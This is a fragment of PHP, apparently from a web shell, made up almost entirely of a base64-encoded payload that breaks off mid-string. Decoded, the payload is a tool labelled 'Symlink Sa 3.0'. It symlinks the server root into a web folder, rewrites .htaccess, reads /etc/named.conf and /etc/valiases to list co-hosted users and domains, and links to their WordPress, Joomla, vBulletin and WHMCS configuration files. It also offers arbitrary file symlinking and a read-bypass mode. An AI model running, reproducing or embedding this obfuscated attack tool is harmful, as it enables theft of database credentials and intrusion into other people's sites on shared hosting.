".base64_decode("PD9waHANCg0KDQoNCg0KDQovKg0KDQoNCg0KICAuZDg4ODguIGQ4ODg4OGIgIC5vODhiLiAgICAgICAgIGRiICAgZDhiICAgZGIgICAgICAubzg4Yi4gIC5kODhiLiAgLjg4YiAgZDg4Lg0KDQogIDg4JyAgWVAgODgnICAgICBkOFAgIFk4ICAgICAgICAgODggICBJOEkgICA4OCAgICAgZDhQICBZOCAuOFAgIFk4LiA4OCdZYmRQYDg4DQoNCiAgYDhiby4gICA4OG9vb29vIDhQICAgICAgICAgICAgICA4OCAgIEk4SSAgIDg4ICAgICA4UCAgICAgIDg4ICAgIDg4IDg4ICA4OCAgODgNCg0KICAgIGBZOGIuIDg4fn5+fn4gOGIgICAgICBDODg4OEQgIFk4ICAgSThJICAgODggICAgIDhiICAgICAgODggICAgODggODggIDg4ICA4OA0KDQogIGRiICAgOEQgODguICAgICBZOGIgIGQ4ICAgICAgICAgYDhiIGQ4JzhiIGQ4JyBkYiAgWThiICBkOCBgOGIgIGQ4JyA4OCAgODggIDg4DQoNCiAgYDg4ODhZJyBZODg4ODhQICBgWTg4UCcgICAgICAgICAgYDhiOCcgYDhkOCcgIFZQICAgYFk4OFAnICBgWTg4UCcgIFlQICBZUCAgWVANCg0KDQoNCg0KDQogICBhdXRob3IuLi4uLi4uLi4uLi4uLjogczNuNHQwMHINCg0KICAgaG9tZS4uLi4uLi4uLi4uLi4uLi46IHNlYy13LmNvbQ0KDQogICB0d2l0dGVyLi4uLi4uLi4uLi4uLjogQHMzbjR0MDByDQoNCiAgIG5hbWUgdG9vbHMuLi4uLi4uLi4uOiBTeW1saW5rIFNhIHYzLjANCg0KDQoNCiovDQoNCg0KDQoNCg0KDQoNCnNldF90aW1lX2xpbWl0KDApOw0KDQplcnJvcl9yZXBvcnRpbmcoMCk7DQoNCg0KDQoNCg0KJHBhZ2VVUkwgPSAnaHR0cDovLycuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQoNCiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsNCg0KJHBhZ2VVUkwgPXN0cl9yZXBsYWNlKCR1W2NvdW50KCR1KS0xXSwiIiwkcGFnZVVSTCApOw0KDQoNCg0KJHBhZ2VGVFAgPSAnZnRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQoNCiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VGVFAgKTsNCg0KJHBhZ2VGVFAgPXN0cl9yZXBsYWNlKCR1W2NvdW50KCR1KS0xXSwiIiwkcGFnZUZUUCApOw0KDQoNCg0KPz4NCg0KICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KDQogICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KDQoNCg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KDQoNCg0KPGhlYWQ+DQoNCjx0aXRsZT5TeW1saW5rX1NhIDMuMDwvdGl0bGU+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQoNCjwhLS0NCg0KTUw9IlA8PnBoVHNtdHIvOTpDdWsgUkljPWpTdy5vIjsNCg0KTUk9IjFGPUFCMDVARkE9RDQ4ODM8OjpHR0dIQzs7MzQzSENJNzo4Pjk/SEU2MjE6Rj1BQjA1MiI7DQoNCk9UPSIiOw0KDQpmb3Ioaj0wO2o8TUkubGVuZ3RoO2orKyl7DQoNCk9UKz1NTC5jaGFyQXQoTUkuY2hhckNvZGVBdChqKS00OCk7DQoNCn1kb2N1bWVudC53cml0ZShPVCk7DQoNCi8vIC0tPjwvc2NyaXB0Pg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KDQoNCg0KICBodG1sLGJvZHkgew0KDQogICAgIG1hcmdpbjogMDsNCg0KICAgICBwYWRkaW5nOiAwOw0KDQogICAgIG91dGxpbmU6IDA7DQoNCn0NCg0KYXsNCg0KDQoNCiBmb250LXNpemU6IDEzcHg7DQoNCg0KDQp9DQoNCg0KDQoNCg0KYm9keSB7DQoNCiAgICBkaXJlY3Rpb246IGx0cjsNCg0KICAgIGJhY2tncm91bmQtY29sb3I6I0Y0RjRGNDsNCg0KCWNvbG9yOiByZ2IoMTUzLCAxNTMsIDE1Myk7DQoNCiAgICB0ZXh0LWFsaWduOiBjZW50ZXINCg0KfQ0KDQoNCg0KDQoNCg0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQoNCmZvbnQtd2VpZ2h0OiBib2xkOw0KDQpjb2xvcjogIzAwMDAwMDsNCg0KfQ0KDQoNCg0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0OmhvdmVyew0KDQpib3gtc2hhZG93OiAwcHggMHB4IDRweCAjQUFBQUFBOw0KDQp9DQoNCg0KDQoNCg0KLmhlZHIgew0KDQogIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7DQoNCiAgZm9udC1zaXplOiAyMnB4Ow0KDQoNCg0KDQoNCn0NCg0KDQoNCi5jb250IGF7DQoNCg0KDQogdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KDQogY29sb3I6cmdiKDE1MywgMTUzLCAxNTMpOw0KDQogZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCg0KIGZvbnQtc2l6ZTogMTZweDsNCg0KIHRleHQtc2hhZG93OiAwcHggMHB4IDNweCA7DQoNCn0NCg0KDQoNCi5jb250IGE6aG92ZXJ7DQoNCg0KDQoNCg0KICBjb2xvcjogI0VFRUVFRSA7DQoNCiAgdGV4dC1zaGFkb3c6MHB4IDBweCAzcHggIzAwMDAwMCA7DQoNCg0KDQoNCg0KfQ0KDQoNCg0KLnRtcCB0ciB0ZHsNCg0KDQoNCmJvcmRlcjogc29saWQgMXB4ICNCQkJCQkI7DQoNCg0KDQpwYWRkaW5nOiAycHggOw0KDQogIGZvbnQtc2l6ZTogMTNweDsNCg0KfQ0KDQoNCg0KLnRtcCB0ciB0ZCBhIHsNCg0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoNCg0KDQoNCg0KDQoNCn0NCg0KDQoNCi5mb3RlcnsNCg0KICBmb250LXNpemU6IDlwdDsNCg0KICBjb2xvcjogI0FBQUFBQSA7DQoNCiAgdGV4dC1hbGlnbjogY2VudGVyDQoNCn0NCg0KDQoNCi50bXAgdHIgdGQ6aG92ZXJ7DQoNCg0KDQpib3gtc2hhZG93OiAwcHggMHB4IDRweCAjODg4ODg4Ow0KDQoNCg0KfQ0KDQouZm90ew0KDQoNCg0KZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZjsNCg0KDQoNCiAgZm9udC1zaXplOiAxMXB0Ow0KDQp9DQoNCi5mb3IgYSA6IGhvdmVyew0KDQoNCg0KdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4ICMzMzY2RkY7DQoNCg0KDQp9DQoNCg0KDQoNCg0KLmlyIHsNCg0KICBjb2xvcjogI0ZGMDAwMDsNCg0KfQ0KDQoNCg0KDQoNCg0KDQo8L3N0eWxlPg0KDQoNCg0KPC9oZWFkPg0KDQoNCg0KPGJvZHk+DQoNCg0KDQo8ZGl2IGNsYXNzPSdhbGwnPg0KDQoNCg0KDQoNCjw/cGhwDQoNCg0KDQpAbWtkaXIoJ3N5bScsMDc3Nyk7DQoNCiRodGNzICA9ICJPcHRpb25zIGFsbCBuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBuIFJlcXVpcmUgTm9uZSBuIFNhdGlzZnkgQW55IjsNCg0KJGYgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQoNCmZ3cml0ZSgkZiAsICRodGNzKTsNCg0KDQoNCg0KDQoNCg0KQHN5bWxpbmsoIi8iLCJzeW0vcm9vdCIpOw0KDQoNCg0KJHBnID0gYmFzZW5hbWUoX19GSUxFX18pOw0KDQoNCg0KZWNobyAnPGJyIC8+PGRpdiBjbGFzcz0iaGVkciI+IFN5bWxpbmsgU2EgMy4wIDxiciAvPjwvZGl2PicgOw0KDQoNCg0KZWNobyAnPGJyIC8+PGRpdiBjbGFzcz0iaGVkciI+LTpbIFVzZXIgJiBEb21haW5zICYgU3ltbGluayBdOi08YnIgLz48YnIgLz48L2Rpdj4nIDsNCg0KDQoNCmVjaG8gJzxkaXYgY2xhc3M9ImNvbnQiPg0KDQoNCg0KWzxhIGhyZWY9Ij8iPiBIb21lIDwvYT5dDQoNCg0KDQpbPGEgaHJlZj0iP3N3cz1zeW0iPiBVc2VyICYgRG9tYWlucyAmIFN5bWxpbmsgPC9hPl0NCg0KDQoNCls8YSBocmVmPSI/c3dzPXNlYyI+IERvbWFpbnMgJiBTY3JpcHQgPC9hPl0NCg0KDQoNClsgPGEgaHJlZj0iP3N3cz1maWxlIj4gU3ltbGluayBGaWxlIDwvYT5dDQoNCg0KDQpbPGEgaHJlZj0iP3N3cz1wYXNzd2QiPiBTeW1saW5rIEJ5cGFzcyA8L2E+XQ0KDQoNCg0KPGJyIC8+PGJyIC8+DQoNCg0KDQpbIDxhIGhyZWY9Ij9zd3M9cmVhZCI+IEJ5cGFzcyBSZWFkIDwvYT5dDQoNCg0KDQpbIDxhIGhyZWY9Ij9zd3M9am9vbWxhIj4gTWFzcyBKb29tbGEgPC9hPl0NCg0KDQoNClsgPGEgaHJlZj0iP3N3cz13cCI+IE1hc3MgV29yZFByZXNzIDwvYT5dDQoNCg0KDQpbIDxhIGhyZWY9Ij9zd3M9dmIiPiBNYXNzIHZCdWxsZXRpbiA8L2E+XQ0KDQoNCg0KWyA8YSBocmVmPSI/c3dzPWhlbHAiPiBIZWxwIDwvYT5dDQoNCg0KDQo8YnIgLz48YnIgLz48YnIgLz4NCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KPC9kaXY+JzsNCg0KDQoNCmlmKGlzc2V0KCRfUkVRVUVTVFsnc3dzJ10pKQ0KDQp7DQoNCg0KDQpzd2l0Y2ggKCRfUkVRVUVTVFsnc3dzJ10pDQoNCnsNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQovLy8gRG9tYWlucyArIFNjcmlwdHMgIC8vLw0KDQoNCg0KY2FzZSAnc2VjJzoNCg0KDQoNCmlmKCFAaXNfZmlsZSgnbmFtZWQudHh0Jykpew0KDQoNCg0KJGQwMG0gPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQoNCg0KDQp9ZWxzZXsNCg0KDQoNCiRkMDBtID0gQGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCg0KDQoNCn0NCg0KaWYoISRkMDBtKQ0KDQp7DQoNCg0KDQogICAgICAgICAgICAgICAgZGllICgiPG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDsgdXJsPT9zd3M9cmVhZCcvPiIpOw0KDQp9DQoNCmVsc2UNCg0KDQoNCnsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gU2NyaXB0IDwvdGQ+IjsNCg0KZm9yZWFjaCgkZDAwbSBhcyAkZG9tKXsNCg0KDQoNCmZsdXNoKCk7DQoNCmZsdXNoKCk7DQoNCg0KDQoNCg0KDQoNCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoNCg0KDQpAcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZG9tLCAkZG9tc3dzKTsNCg0KDQoNCmZsdXNoKCk7DQoNCg0KDQppZihAc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCg0KDQokdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3c1sxXVswXSkpOw0KDQoNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KDQoNCiR3cGw9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiOw0KDQokd3BwPUBnZXRfaGVhZGVycygkd3BsKTsNCg0KJHdwPSR3cHBbMF07DQoNCg0KDQokd3AyPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAiOw0KDQokd3BwMj1AZ2V0X2hlYWRlcnMoJHdwMik7DQoNCiR3cDEyPSR3cHAyWzBdOw0KDQoNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCg0KJGpvMT0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiOw0KDQokam9vPUBnZXRfaGVhZGVycygkam8xKTsNCg0KJGpvPSRqb29bMF07DQoNCg0KDQoNCg0KJGpvMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIjsNCg0KJGpvbzI9QGdldF9oZWFkZXJzKCRqbzIpOw0KDQokam8xMj0kam9vMlswXTsNCg0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCg0KDQokdmIxPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwIjsNCg0KJHZiYj1AZ2V0X2hlYWRlcnMoJHZiMSk7DQoNCiR2Yj0kdmJiWzBdOw0KDQoNCg0KJHZiMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCI7DQoNCiR2YmIyPUBnZXRfaGVhZGVycygkdmIyKTsNCg0KJHZiMTI9JHZiYjJbMF07DQoNCg0KDQokdmIzPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwIjsNCg0KJHZiYjM9QGdldF9oZWFkZXJzKCR2YjMpOw0KDQokdmIxMz0kdmJiM1swXTsNCg0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vDQoNCg0KDQokd2gxPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uInB1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAiOw0KDQokd2hoMj0gQGdldF9oZWFkZXJzKCR3aDEpOw0KDQokd2g9JHdoaDJbMF07DQoNCg0KDQokd2gyPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIjsNCg0KJHdoaDI9IEBnZXRfaGVhZGVycygkd2gyKTsNCg0KJHdoMTI9JHdoaDJbMF07DQoNCg0KDQokd2gzPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAiOw0KDQokd2hoMz0gQGdldF9oZWFkZXJzKCR3aDMpOw0KDQokd2gxMz0kd2hoM1swXTsNCg0KDQoNCiR3aDU9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAiOw0KDQokd2hoNT0gQGdldF9oZWFkZXJzKCR3aDUpOw0KDQokd2gxNT0kd2hoNVswXTsNCg0KDQoNCiR3aDQ9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCI7DQoNCiR3aGg0PSBAZ2V0X2hlYWRlcnMoJHdoNCk7DQoNCiR3aDE0PSR3aGg0WzBdOw0KDQoNCg0KDQoNCg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCg0KIC8vLy8vLy8vLy8gV29yZHByZXNzIC8vLy8vLy8vLy8vLw0KDQoNCg0KJHBvcyA9IHN0cnBvcygkd3AsICIyMDAiKTsNCg0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KDQoNCmlmIChzdHJwb3MoJHdwLCAiMjAwIikgPT0gdHJ1ZSApDQoNCnsNCg0KICRjb25maWc9IjxhIGhyZWY9JyIuJHdwbC4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7DQoNCn0NCg0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0KDQp7DQoNCiAgJGNvbmZpZz0iPGEgaHJlZj0nIi4kd3AyLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsNCg0KfQ0KDQoNCg0KLy8vLy8vLy8vLy9XSE1DUy8vLy8vLy8vDQoNCg0KDQplbHNlaWYgKHN0cnBvcygkam8sICIyMDAiKSAgPT0gdHJ1ZSBhbmQgc3RycG9zKCR3aDE1LCAiMjAwIikgID09IHRydWUgKQ0KDQp7DQoNCiAgJGNvbmZpZz0iIDxhIGhyZWY9JyIuJHdoNS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsNCg0KDQoNCn0NCg0KZWxzZWlmIChzdHJwb3MoJHdoMTIsICIyMDAiKSAgPT0gdHJ1ZSkNCg0Kew0KDQogICRjb25maWcgPSIgPGEgaHJlZj0nIi4kd2gyLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOw0KDQp9DQoNCg0KDQplbHNlaWYgKHN0cnBvcygkd2gxMywgIjIwMCIpICA9PSB0cnVlKQ0KDQp7DQoNCiAgJGNvbmZpZyA9IiA8YSBocmVmPSciLiR3aDMuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7DQoNCg0KDQp9DQoNCg0KDQovLy8vLy8vLy8gSm9vbWxhIHRvIDQgLy8vLy8vLy8vLy8NCg0KDQoNCmVsc2VpZiAoc3RycG9zKCRqbywgIjIwMCIpICA9PSB0cnVlKQ0KDQp7DQoNCiAgJGNvbmZpZz0iIDxhIGhyZWY9JyIuJGpvMS4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7DQoNCn0NCg0KDQoNCmVsc2VpZiAoc3RycG9zKCRqbzEyLCAiMjAwIikgID09IHRydWUpDQoNCnsNCg0KICAkY29uZmlnPSIgPGEgaHJlZj0nIi4kam8yLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsNCg0KfQ0KDQoNCg0KLy8vLy8vLy8vL3ZCdWxsZXRpbiB0byA0IC8vLy8vLy8vLy8vDQoNCg0KDQplbHNlaWYgKHN0cnBvcygkdmIsICIyMDAiKSAgPT0gdHJ1ZSkNCg0Kew0KDQogICRjb25maWc9IiA8YSBocmVmPSciLiR2YjEuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOw0KDQp9DQoNCg0KDQplbHNlaWYgKHN0cnBvcygkdmIxMiwgIjIwMCIpICA9PSB0cnVlKQ0KDQp7DQoNCiAgJGNvbmZpZz0iIDxhIGhyZWY9JyIuJHZiMi4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7DQoNCn0NCg0KDQoNCmVsc2VpZiAoc3RycG9zKCR2YjEzLCAiMjAwIikgID09IHRydWUpDQoNCnsNCg0KICAkY29uZmlnPSIgPGEgaHJlZj0nIi4kdmIzLiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsNCg0KfQ0KDQoNCg0KZWxzZQ0KDQp7DQoNCiBjb250aW51ZTsNCg0KfQ0KDQpmbHVzaCgpOw0KDQpmbHVzaCgpOw0KDQoNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCg0KDQoNCg0KDQokc2l0ZSA9ICR1c2VyWyduYW1lJ10gOw0KDQoNCg0KDQoNCg0KDQpmbHVzaCgpOw0KDQoNCg0KZWNobyAiPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tc3dzWzFdWzBdLiIvPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQoNCjx0ZD4iLiRjb25maWcuIjwvdGQ+PC90cj4iOyBmbHVzaCgpOw0KDQoNCg0KfQ0KDQp9DQoNCn0NCg0KfQ0KDQoNCg0KDQoNCg0KDQoNCg0KYnJlYWs7DQoNCg0KDQoNCg0KLy8vIHVzZXIgKyBkb21pbmUgKyBzeW1saW5rICAvLy8NCg0KDQoNCmNhc2UgJ3N5bSc6DQoNCg0KDQppZighaXNfZmlsZSgnbmFtZWQudHh0Jykpew0KDQoNCg0KJGQwMG0gPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQoNCg0KDQp9ZWxzZXsNCg0KDQoNCiRkMDBtID0gQGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCg0KDQoNCn0NCg0KaWYoISRkMDBtKQ0KDQp7DQoNCg0KDQogICAgICAgICAgICAgICAgZGllICgiPG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDsgdXJsPT9zd3M9cmVhZCcvPiIpOw0KDQp9DQoNCmVsc2UNCg0KDQoNCnsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPkRvbWFpbnM8L3RkPjx0ZD5Vc2VyczwvdGQ+PHRkPnN5bWxpbmsgPC90ZD4iOw0KDQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQoNCg0KaWYoZXJlZ2koInpvbmUiLCRkb20pKXsNCg0KDQoNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGRvbSwgJGRvbXN3cyk7DQoNCg0KDQpmbHVzaCgpOw0KDQoNCg0KaWYoc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCg0KDQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoNCg0KDQpmbHVzaCgpOw0KDQoNCg0KDQoNCg0KDQokc2l0ZSA9ICR1c2VyWyduYW1lJ10gOw0KDQoNCg0KDQoNCkBzeW1saW5rKCIvIiwic3ltL3Jvb3QiKTsNCg0KDQoNCiRzaXRlID0gJGRvbXN3c1sxXVswXTsNCg0KDQoNCiRpciA9ICdpcic7DQoNCg0KDQokaWwgPSAnaWwnOw0KDQoNCg0KaWYgKHByZWdfbWF0Y2goIi8uXiRpci8iLCRkb21zd3NbMV1bMF0pIG9yIHByZWdfbWF0Y2goIi8uXiRpbC8iLCRkb21zd3NbMV1bMF0pICkNCg0Kew0KDQokc2l0ZSA9ICI8ZGl2IHN0eWxlPScgY29sb3I6ICNGRjAwMDAgOyB0ZXh0LXNoYWRvdzogMHB4IDBweCAxcHggcmVkOyAnPiIuJGRvbXN3c1sxXVswXS4iPC9kaXY+IjsNCg0KfQ0KDQoNCg0KDQoNCmVjaG8gIg0KDQo8dHI+DQoNCg0KDQo8dGQ+DQoNCjxkaXYgY2xhc3M9J2RvbSc+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovL3d3dy4iLiRkb21zd3NbMV1bMF0uIi8+Ii4kc2l0ZS4iIDwvYT4gPC9kaXY+DQoNCjwvdGQ+DQoNCg0KDQoNCg0KPHRkPg0KDQoiLiR1c2VyWyduYW1lJ10uIg0KDQo8L3RkPg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQo8dGQ+DQoNCjxhIGhyZWY9J3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5zeW1saW5rIDwvYT4NCg0KPC90ZD4NCg0KDQoNCg0KDQo8L3RyPjwvZGl2PiAiOw0KDQoNCg0KDQoNCmZsdXNoKCk7DQoNCmZsdXNoKCk7DQoNCg0KDQp9DQoNCn0NCg0KfQ0KDQp9DQoNCg0KDQoNCg0KDQoNCg0KDQpicmVhazsNCg0KDQoNCg0KDQovLy8gZmlsZSAgc3ltbGluayAvLy8NCg0KDQoNCmNhc2UgJ2ZpbGUnOg0KDQoNCg0KZWNobycNCg0KVGhlIGZpbGUgcGF0aCB0byBzeW1saW5rDQoNCg0KDQo8YnIgLz48YnIgLz4NCg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIHZhbHVlPSIvaG9tZS91c2VyL3B1YmxpY19odG1sL2ZpbGUubmFtZSIgc2l6ZT0iNjAiLz48YnIgLz48YnIgLz4NCg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJmaWxlLm5hbWVfc3ltICggRXguIDo6IHJveWFsaXN0ZS50eHQgKSIgc2l6ZT0iNjAiLz48YnIgLz48YnIgLz4NCg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InN5bWxpbmsiIG5hbWU9InN5bWxpbmsiIC8+IDxiciAvPjxiciAvPg0KDQoNCg0KDQoNCg0KDQo8L2Zvcm0+DQoNCic7DQoNCg0KDQokcGZpbGUgPSAkX1BPU1RbJ2ZpbGUnXTsNCg0KJHN5bWZpbGUgPSAkX1BPU1RbJ3N5bWZpbGUnXTsNCg0KJHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTsNCg0KDQoNCmlmICgkc3ltbGluaykNCg0Kew0KDQoNCg0KDQoNCkBta2Rpcignc3ltMScsMDc3Nyk7DQoNCiRjICA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgbiBEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtIG4gQWRkVHlwZSB0eHQgLnBocCBuIEFkZEhhbmRsZXIgdHh0IC5waHAgbiAgQWRkVHlwZSB0eHQgLmh0bWwgbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBuIE9wdGlvbnMgYWxsIG4gT3B0aW9ucyBuIEFsbG93IGZyb20gYWxsIG4gUmVxdWlyZSBOb25lIG4gU2F0aXNmeSBBbnkiOw0KDQokZiA9QGZvcGVuICgnc3ltMS8uaHRhY2Nlc3MnLCd3Jyk7DQoNCkBmd3JpdGUoJGYgLCAkYyk7DQoNCg0KDQpAc3ltbGluaygiJHBmaWxlIiwic3ltMS8kc3ltZmlsZSIpOw0KDQoNCg0KZWNobyAnPGJyIC8+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9InN5bTEvJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPic7DQoNCg0KDQp9DQoNCg0KDQoNCg0KDQoNCmJyZWFrOw0KDQoNCg0KLy8vIGJ5cGFzcyByZWFkDQoNCg0KDQpjYXNlICdyZWFkJzoNCg0KDQoNCmVjaG8gInJlYWQgL2V0Yy9uYW1lZC5jb25mIjsNCg0KZWNobyAiPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz9zd3M9cmVhZCZzYXZlPTEnPjx0ZXh0YXJlYSBjb2xzPSc4MCcgcm93cz0nMjAnIG5hbWU9J2ZpbGUnPiI7DQoNCmZsdXNoKCk7DQoNCmZsdXNoKCk7DQoNCg0KDQoNCg0KJGZpbGUgPSAnL2V0Yy9uYW1lZC5jb25mJzsNCg0KDQoNCg0KDQokcjNhZCA9IEBmb3BlbigkZmlsZSwgJ3InKTsNCg0KaWYgKCRyM2FkKXsNCg0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KDQplY2